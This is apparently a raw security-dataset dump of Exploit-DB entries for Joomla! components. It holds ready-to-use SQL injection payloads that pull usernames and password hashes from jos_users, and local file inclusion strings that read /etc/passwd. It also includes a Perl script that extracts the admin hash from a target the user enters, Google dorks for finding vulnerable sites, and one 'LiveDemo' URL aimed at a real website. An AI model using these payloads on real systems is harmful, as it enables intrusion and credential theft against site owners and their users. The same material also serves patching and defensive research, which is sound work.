deardaniel/secdata-raw huggingface dataset:
Exploit-DB #36835
Description: Joomla! Component com_xcomp - Local File Inclusion
Type: webapps
Platform: php
Date: 2012-02-18
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/52078/info

The Xcomp component for Joomla! is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible. 

http://www.example.com/index.php?option=com_xcomp&controller=../../[LFI]%00
Exploit-DB #36012
Description: Joomla! Component com_xeslidegalfx - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2011-08-03
Author: Ne0 H4ck3R

Exploit:
source: https://www.securityfocus.com/bid/48981/info

The 'Slideshow Gallery' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_xeslidegalfx&Itemid=&func=detail&id=1
Exploit-DB #7716
Description: Joomla! Component com_xevidmegahd - SQL Injection
Type: webapps
Platform: php
Date: 2009-01-11
Author: EcHoLL

Exploit:
#!/usr/bin/perl -w

#Joomla com_xevidmegahd Sql injection#
########################################
#[~] Author : EcHoLL
#[~] www.warezturk.org www.tahribat.com
#[~] Greetz : Black_label TURK Godlike Nitrous
#[!] Module_Name: com_xevidmegahd
#[!] Script_Name: Joomla
#[!] Google_Dork: inurl:"com_xevidmegahd"
########################################

system("color FF0000");
system("Nohacking");
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t| Turkish Securtiy Team |\n\n";
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t|Joomla Module com_xevidmegahd(catid=)Remote SQL Injection Vuln|\n\n";
print "\t\t| Coded by: EcHoLL www.warezturk.org |\n\n";
print "\t\t-------------------------------------------------------------\n\n";
use LWP::UserAgent;
print "\nSite ismi Target page:[http://wwww.site.com/path/]: ";
chomp(my $target=<STDIN>);
$column_name="concat(username,0x3a,password)";
$table_name="jos_users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "/index.php?option=com_xevidmegahd&Itemid=99999999&func=viewcategory&catid=1'+UNION+SELECT+".$column_name."+from/**/".$table_name."+--+";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n\n";
print "# Tebrikler Exploit Calisti! #\n\n";
}
else{print "\n[-] Exploit BulunamadÄ±...\n";
}

# milw0rm.com [2009-01-11]
Exploit-DB #15801
Description: Joomla! Component com_xgallery 1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-12-21
Author: KelvinX

Exploit:
# Exploit Title: Joomla Component com_xgallery 1.0 Local File Inclusion Vulnerability
# Author: KelvinX (kelvinxgr@gmail.com)
# Websites: http://xgroup.vn, http://kelvinx.net, http://facebook.com/kelvinxgr
# Date: December, 21-2010
# Location: HCM City, Vietnam

 ------------------------

# Application: com_xgallery
# Version: 1.0
# Vendor: http://www.optikool.com/documentation/xmovie-component
# Google Dorks: inurl:com_xgallery

------------------------

Exploit: http://127.0.0.1/[path]/components/com_xgallery/helpers/img.php?file=[LFI]%00

------------------------

# Solution: Upgrade to the most recent version
Exploit-DB #17525
Description: Joomla! Component com_xmap 1.2.11 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2011-07-12
Author: jdc

Exploit:
# Exploit Title: Xmap 1.2.11 Joomla Component Blind SQL Injection
# Date: 12 July 2011
# Author: jdc
# Software Link:
http://joomlacode.org/gf/project/xmap/frs/?action=FrsReleaseBrowse&frs_package_id=3882
# Version: 1.2.11
# Fixed In: 1.2.12

Versions prior to 1.2.12 suffer from a blind sql injection in the "view"
parameter, depending on Xmap's internal cache settings.

POSTDATA: option=com_xmap&tmpl=component&Itemid=999&view=[SQL]

1.2.12 has been patched. Older versions with cache=off cannot be
exploited in this fashion.
Exploit-DB #15819
Description: Joomla! Component com_xmovie 1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-12-24
Author: KelvinX

Exploit:
# Exploit Title: Joomla Component com_xmovie 1.0 Local File Inclusion Vulnerability
# Author: KelvinX (kelvinxgr@gmail.com)
# Websites: http://xgroup.vn, http://kelvinx.net, http://facebook.com/kelvinxgr
# Date: December, 24-2010
# Location: HCM City, Vietnam

------------------------

# Application: com_xmovie
# Version: 1.0
# Vendor: http://extensions.joomla.org/extensions/multimedia/multimedia-players/video-players-a-gallery/15297
# Google Dorks: inurl:com_xmovie

------------------------

Exploit: http://www.site.com/components/com_xmovie/helpers/img.php?file=[LFI]%00

------------------------

# Solution: Upgrade to the most recent version
Exploit-DB #36856
Description: Joomla! Component com_xvs - 'Controller' Local File Inclusion
Type: webapps
Platform: php
Date: 2012-02-18
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/52091/info

The 'com_xvs' component for Joomla! is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. 

http://www.example.com/index.php?option=com_xvs&controller=../../[LFI]%00
Exploit-DB #11603
Description: Joomla! Component com_yanc - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-28
Author: snakespc

Exploit:
==============================================================================
[»] Joomla com_yanc Remote Sql Injection Vulnerability
==============================================================================
   
[»] Script:   [Joomla]
[»] Language: [ PHP ]
[»] Founder:  [ Snakespc Email:super_cristal@hotmail.com - Site:sec-war.com/cc> ]
[»] Greetz to:[ His0k4, PrEdAtOr >>> All My Mamber >> sec-war.com/cc ]
[»] Dork:     [inurl:index.php?option=com_yanc "listid" ]   
###########################################################################
 ===[ Exploit ]===
   
[»] http://server/index.php?option=com_yanc&Itemid=75&listid=-2+UNION SELECT concat(username,0x3a,password),2+from+jos_users--
[»]Author: Snakespc <-
###########################################################################
Exploit-DB #13979
Description: Joomla! Component com_ybggal 1.0 - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-22
Author: v3n0m

Exploit:
-----------------------------------------------------------------------
  Joomla Component com_ybggal 1.0 (catid) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author  	: v3n0m
Site    	: http://yogyacarderlink.web.id/
Date		: June, 22-2010
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~
 
Application : YBG Gallery
Vendor      : http://www.yusufbottiegaos.com/
Version     : 1.0 Lower versions may also be affected
Google Dork : inurl:com_ybggal
----------------------------------------------------------------

Exploitz:
~~~~~~~
9999+and+1=2+union+all+select+1,group_concat(username,char(58),password)v3n0m,3,4,5+from+jos_users--


SQLi p0c:
~~~~~~~

http://127.0.0.1/[path]/index.php?option=com_ybggal&Itemid=[xxx]&catid=[SQLi]

*[xxx] = Valid itemid
----------------------------------------------------------------

Shoutz:
~~~~

- 'malingsial banyak cakap, you skill off bullshit on '
- LeQhi,lingah,GheMaX,spykit,m4rco,z0mb13,ast_boy,eidelweiss,xx_user,^pKi^,tian,zhie_o,JaLi-
- setanmuda,oche_an3h,onez,Joglo,d4rk_kn19ht,Cakill Schumbag
- kiddies,whitehat,mywisdom,yadoy666,udhit
- c4uR (besok² klo curhat jangan nangis lagi ah uR bruakakaka)
- BLaSTER & TurkGuvenligi & Agd_scorp (Turkey Hackers)
- JosS [at] hack0wn.com
- #yogyacarderlink @irc.dal.net
----------------------------------------------------------------
Contact:
~~~~

v3n0m | YOGYACARDERLINK CREW | v3n0m666[at]live[live]com
Homepage: http://yogyacarderlink.web.id/
	  http://v3n0m.blogdetik.com/
---------------------------[EOF]--------------------------------
Exploit-DB #14592
Description: Joomla! Component com_yellowpages - SQL Injection
Type: webapps
Platform: php
Date: 2010-08-09
Author: al bayraqim

Exploit:
===============================================================
Joomla Component (com_yellowpages) SQL Injection Vulnerability 
===============================================================


# Exploit Title : Joomla "com_yellowpages" Sql Injection Vulnerability
# Date : 9- 8 - 2010

# Author : _aL_bayraqim_ 

# BORDO BERELİLER GRUP KOMUTANLIGI [..! _al_bayragim_ ..! ..! Corti ..! ..! Aytug_Han ..! ..! Montesque ..! ..! Em3rGeNcY ..!]
############################################################
Dork = inurl:/index.php?option=com_yellowpages 
############################################################
--- SQL Injection Vulenrability ---
SQL Injection Vulenrability component "com_yellowpages"
http://site.com/index.php?option=com_yellowpages&cat=1923[SQL]
############################################################
===[ Exploit ]===
http://www.site.com/path/index.php?option=com_yellowpages&cat=-1923+UNION+SELECT 1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+jos_users--
+Union+select+user()+from+jos_users--
############################################################
#.Türk oğlu, !!..Türk kızı !!..Türklügünü Koru!..
############################################################
Exploit-DB #18033
Description: Joomla! Component com_yjcontactus - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-10-25
Author: MeGo

Exploit:
================================================================================
  
  - YJ Contact us - Enhanced Joomla Contact Form <= Local File Inclusion Vulnerability
   
       Software : YJ Contact us - Enhanced Joomla Contact Form 
       Vendor   : http://www.youjoomla.com/yj-contact-us-enhanced-joomla-contact-form-2.html
       Author   : Mego
       Contact  : nowar204[at]hotmail[dot]com
       Home     : NONE
 
================================================================================
 
  - Exploit
 
       http://localhost/[path]/index.php?option=com_yjcontactus&view=[LFI]
 
 
  - PoC
 
       http://localhost/[path]/index.php?option=com_yjcontactus&view=../../../../../../../../../../../../../../../../../../../etc/passwd%00
 
 
  - Dork
 
       "com_yjcontactus"+view
 
================================================================================
 
  - Greetz
 
       norgod,g0ld,vnc and all brazilian c0ders
 
================================================================================
 
  - October 25 2011 - Morocco
Exploit-DB #10548
Description: Joomla! Component com_zcalendar - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-12-18
Author: FL0RiX

Exploit:
<------------------- header data start ------------------- >

#############################################################
#       Joomla Component com_zcalendar Blind SQL-injection Vulnerability                       #
#############################################################

# author        : Fl0riX

# Name        : com_zcalendar

# Bug Type       : Blind SQL Injection

# Infection      : Admin login bilgileri al&#65533;nabilir.

# Demo Vuln.     :
TRUE(+)
&#65533; http://server/index.php?option=com_zcalendar&task=view&vmode=e&eid=236 and 1=1
FALSE(-)
&#65533; http://server/index.php?option=com_zcalendar&task=view&vmode=e&eid=236 and 1=0

# Bug Fix Advice : Zararl&#65533; karakterler filtrelenmelidir.

#############################################################

< ------------------- header data end of ------------------- >

< -- bug code start -- >

path/index.php?option=com_zcalendar&task=view&vmode=e&eid=[Blind]

< -- bug code end of -- >
Exploit-DB #14702
Description: Joomla! Component com_zina - SQL Injection
Type: webapps
Platform: php
Date: 2010-08-21
Author: Th3 RDX

Exploit:
# Exploit Title: Joomla Component com_zina SQL Injection Vulnerability
# Date: 21-08-2010
# Author: Th3 RDX
# Software Link:http://www.pancake.org/zina/
# Version:  2.x
# Tested on: Demo Site
# category: webapp
# Code : n/a
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                                   I Love Faith :)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    L0v3 To: R00T, R45c4l, Agent: 1c3c0ld, Big Kid, Lucky
(Indishell.in)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 Big Hugs to >:D< : Br0wn Sug4r, Sid3^effects, L0rd CruSad3r, Sonic ,
r0073r(inj3ct0r.com)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
       Gr33tz to ### Team I.C.A | www.IndiShell.in | Team I.C.W ###
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

##############################################################################
%//

----- [ Founder ] -----

        Th3 RDX

----- [ E - mail ] -----

    th3rdx@gmail.com


                                                        %\\
##############################################################################

##############################################################################
%//

----- [Title] -----

Joomla Component com_zina SQL Injection Vulnerability

----- [ Vendor ] -----

http://www.pancake.org/zina/
                                                        %\\
##############################################################################

##############################################################################
%//

----- [ Injection (s) ] -----

----- [ SQL Injection ] -----

Put [BSQLi CODE]

[Link] http://joomla/index.php?option=com_zina&view=zina&Itemid=9[SQLi CODE]



                                                        %\\
##############################################################################

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=> PROUD TO BE AN INDIAN

=> c0d3 for motherland, h4ck for motherland

==> i'm little more than useless <==
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>.

Bug discovered : 21 August 2010

finish(0);
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

#End 0Day#
Exploit-DB #14718
Description: Joomla! Component com_zoomportfolio - SQL Injection
Type: webapps
Platform: php
Date: 2010-08-23
Author: Chip d3 bi0s

Exploit:
---------------------------------------------------------------------------------
Joomla Component Zoom Portfolio (id) Remote Sql Injection
---------------------------------------------------------------------------------

Author		: Chip D3 Bi0s
Group		: LatinHackTeam
Email & msn	: chipdebios@gmail.com
Date		: 23 August 2010
Critical Lvl	: Moderate
Impact		: Exposure of sensitive information
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: Zoom Portfolio --Joomla Portfolio Component
version		: 1.5 
Price		: $20.00 
Developer	: EGBZOOM
License		: GPLv2 or later           type  : Commercial
Date Added	: 21 August 2010
Download	: http://www.egbzoom.com/joomla-portfolio-component.html

Description     :

Zoom Portfolio enables you to display your portfolio in a "directory listing-like
presentation" with minimum effort.The Component has features like add category
add images,settings,add portfolio .Zoom Portfolio includes automatic thumbnail creation,
captioning, searching and more.It also includes the ability to modify and delete any
of your existing pages.
The Zoom Portfolio is an amazing example of what can be done online with your online
presence. It is directed at artists of all walks of life, it is very easy to install
and customize, and it is just simply stunning. 

-------------------------

How to exploit

http://127.0.0.1/path/index.php?option=com_zoomportfolio&view=portfolio&view=portfolio&id=[sql]

-------------------------

+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++
Exploit-DB #38134
Description: Joomla! Component com_ztautolink - 'Controller' Local File Inclusion
Type: webapps
Platform: php
Date: 2012-12-19
Author: Xr0b0t

Exploit:
source: https://www.securityfocus.com/bid/56994/info

ZT Autolinks Component for Joomla! is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary local scripts in the context of the web server process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. 

http://www.example.com/index.php?option=com_ztautolink&controller=../../../../../../../../../../../../../../../etc/passwd%00
Exploit-DB #36561
Description: Joomla! Component Contact Form Maker 1.0.1 - SQL Injection
Type: webapps
Platform: php
Date: 2015-03-30
Author: TUNISIAN CYBER

Exploit:
[+]Title: Joomla Contact Form Maker v1.0.1 Component - SQL injection vulnerability
[+]Author: TUNISIAN CYBER
[+]Date: 29/03/2015
[+]Vendor: http://extensions.joomla.org/extensions/extension/contacts-and-feedback/contact-forms/contact-form-maker
[+]Type:WebApp
[+]Risk:High
[+]Overview:
Contact Form Maker v1.0.1 suffers, from an SQL injection vulnerability.
   
[+]Proof Of Concept:
  
127.0.0.1/index.php?option=com_contactformmaker&view=contactformmaker&id=SQL
Exploit-DB #7093
Description: Joomla! Component Contact Info 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2008-11-11
Author: boom3rang

Exploit:
###########################################################
Joomla com_contactinfo(catid) SQL-injection vulnerability
###########################################################

###################################################
#[~] Author :  boom3rang 
#[~] Kosova Hackers Group [www.khg-crew.ws]
#[~] Greetz : H!tm@N, KHG, chs, redc00de, pr0xy-ki11er, LiTTle-Hack3r, L1RIDON1.

#[!] Module_Name:  com_contactinfo
#[!] Script_Name:  Joomla
#[!] Google_Dork:  inurl:"com_contactinfo"
##################################################


#[~] Example:                  
http://localhost/Path/index.php?option=com_contactinfo&catid=[exploit]

#[~] Exploit: 
-9999/**/UNION/**/SELECT/**/1,2,concat(username,char(58),password),4,5,6,7,8,9,0,11,12,13,14,15,16+from+jos_users/*

#[~] LiveDemo:
http://www.planetacentr.ru/index.php?option=com_contactinfo&catid=-9999/**/UNION/**/SELECT/**/1,2,concat(username,char(58),password),4,5,6,7,8,9,0,11,12,13,14,15,16+from+jos_users/*


##############################
#[!] Proud 2 be Albanian
#[!] Proud 2 be Muslim
#[!] United States of Albania
##############################

# milw0rm.com [2008-11-11]
Exploit-DB #36302
Description: Joomla! Component Content - 'year' SQL Injection
Type: webapps
Platform: php
Date: 2011-11-14
Author: E.Shahmohamadi

Exploit:
source: https://www.securityfocus.com/bid/50656/info

Content component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/joomla/index.php?option=com_content&view=archive&year=1 [BSQLI]
Exploit-DB #6025
Description: Joomla! Component Content 1.0.0 - 'itemID' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-08
Author: unknown_styler

Exploit:
-------------------------------------------------------------------------------------------
                                				
   Joomla Component com_content SQL Injection Vulnerabity
                                				
-------------------------------------------------------------------------------------------


 Author    :  unknown_styler

 Dork      :  inurl:com_content

 POC        : http://localhost/index.php?option=index.php?option=com_content&task=blogcategory&id=60&Itemid={SQL}

 Example    : http://localhost/index.php?option=com_content&task=blogcategory&id=60&Itemid=99999%20union%20select%201,concat_ws(0x3a,username,password),3,4,5%20from%20jos_users/*

------------------------------------------------------------------------------------------------------------------------------------

                                         Greetings :  h4ck-y0u.org

side note:

<name>PÃ¡gina de contenido</name>
<author>Projecte Joomla!</author>
<creationDate>July 2004</creationDate>
<copyright>(C) 2005 Open Source Matters. All rights reserved.</copyright>
<license>http://www.gnu.org/copyleft/gpl.html GNU/GPL</license>
<authorEmail>admin@joomla.org</authorEmail>
<authorUrl>www.joomla.org</authorUrl>
<version>1.0.0</version>

# milw0rm.com [2008-07-08]
Exploit-DB #30848
Description: Joomla! Component Content 1.5 RC3 - 'view' SQL Injection
Type: webapps
Platform: php
Date: 2007-12-05
Author: beenudel1986

Exploit:
source: https://www.securityfocus.com/bid/26707/info

Joomla! is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Joomla! 1.5 RC3 is vulnerable; other versions may also be affected.

UPDATE (December 10, 2007): The validity of the issues is being disputed on the Joomla! Bug Tracker. Please see the references for details. Reports indicate that the related message was posted by a Joomla! developer, but this has not been confirmed. 

http://www.example.com/index.php?option=com_content&view=somechars'%20+%20'article&id=25&Itemid=28